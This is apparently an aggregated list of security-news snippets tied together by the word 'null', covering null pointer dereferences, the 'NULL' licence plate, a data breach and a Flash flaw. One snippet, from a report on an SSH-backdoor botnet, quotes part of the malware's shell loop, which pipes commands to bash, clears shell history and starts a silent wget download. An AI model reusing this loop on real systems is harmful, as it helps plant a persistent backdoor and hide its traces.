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What Is A Null Pointer Dereference Error?

ForAllSecure

CWE-476 Null Pointer Dereference is a programming error that can occur when a program attempts to deference a null pointer. This can happen when the programmer mistakenly assumes that a pointer pointing to NULL is actually pointing to a valid object. There are a few ways to avoid null pointer dereferences.

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License Plate "NULL"

Schneier on Security

There was a DefCon talk by someone with the vanity plate "NULL." Although the initial $12,000-worth of fines were removed, the private company that administers the database didn't fix the issue and new NULL tickets are still showing up. The California system assigned him every ticket with no license plate: $12,000.

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How a 'NULL' License Plate Landed One Hacker in Ticket Hell

WIRED Threat Level

Security researcher Joseph Tartaro thought NULL would make a fun license plate. He's never been more wrong.

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Data Enrichment, People Data Labs and Another 622M Email Addresses

Troy Hunt

id":null, "status":"created", "guid":null, "positions":[. {. "id":null, When Vinny Troia recently reached out after he and Bob Diachenko and sent me a massive set of data allegedly originating from PDL , I was both unsurprised to see more of the same yet still, surprised to find my own data: {. "id":null, coordinates":[.

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Court Sides with Plaintiff’s Proposal, Orders Random Sample of the Null Set: eDiscovery Case Law

eDiscovery Daily

Johnston adopted the parties’ proposed order establishing the production protocol for ESI with the inclusion of the plaintiffs’ proposal that a random sample of the null set will occur after the production and that any responsive documents found as a result of that process will be produced. Case Background.

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SSH-backdoor Botnet With ‘Research’ Infection Technique

Security Affairs

clear;clear;history -c) > /dev/null 2>&1"|bash) & > /dev/null 2>&1) & sleep 43200;done & disown &)> /dev/null 2>&1 & clear;clear;history -c. The hex string resolves to the following sequence of shell commands: (while true;do (sleep $(( RANDOM % 200 ));(printf "(wget -q "[link] -O ….

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Critical Flash Player Flaw Opens Adobe Users to RCE

Threatpost

The flaw stems from a NULL Pointer Dereference error and plagues the Windows, macOS, Linux and ChromeOS versions of Adobe Flash Player.

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